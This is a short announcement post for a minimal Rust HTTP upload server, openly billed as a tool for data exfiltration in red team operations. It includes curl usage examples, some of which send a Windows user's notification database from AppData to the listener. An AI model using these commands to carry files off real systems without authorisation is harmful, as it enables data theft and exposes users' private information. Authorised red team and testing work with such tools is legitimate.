rek2_httpserver — Exfiltration http Server
May 3, 2025 - ⧖ 1 min🚀 rek2_httpserver
rek2_httpserver
is a minimalist HTTP server built in Rust for data exfiltration — no frills, just raw utility. It supports file uploads through HTTP POST requests and offers basic configurability for interface and port.
This tool was designed with speed and simplicity in mind. Whether you're testing file uploads or performing red team ops that need quick exfil, this tiny server has your back.
🔧 Features
- Configurable Interface and Port
Choose where the server listens using CLI flags. - File Upload Support
Accepts uploads via POST requests. - Content-Disposition Aware
Extracts filenames from headers if present. - Flexible Fallback
Falls back to default nameuploaded_file
if none provided.
💻 Usage
⚙️ Start the Server
./rek2_httpserver -i 127.0.0.1 -p 8081
Default bind is 0.0.0.0:8081
if no options are given.
📤 Uploading Files
🐧 Linux — With Content-Disposition
curl -X POST --data-binary "@article" -H "Content-Disposition: attachment; filename=article" http://127.0.0.1:8081/upload/
🪟 Windows — With Content-Disposition
curl -X POST --data-binary "@C:\\Users\\Richard\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpndatabase.db" -H "Content-Disposition: attachment; filename=wpndatabase.db" http://127.0.0.1:8081/upload/
🐧 Linux — Without Header
curl -X POST --data-binary "@article" http://127.0.0.1:8081/upload/
🪟 Windows — Without Header
curl -X POST --data-binary "@C:\\Users\\Richard\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpndatabase.db" http://127.0.0.1:8081/upload/
📁 Notes
- If
Content-Disposition
is missing, the file is saved asuploaded_file
- Uploading the same file name again will overwrite the existing one
🛠️ Build
cargo build --release
Binary will be available under:
target/release/rek2_httpserver
🔗 Repo
👉 https://git.sr.ht/~rek2/rek2_httpserver
⚖️ License
GPLv3 — Free as in freedom, not as in beer. Use responsibly.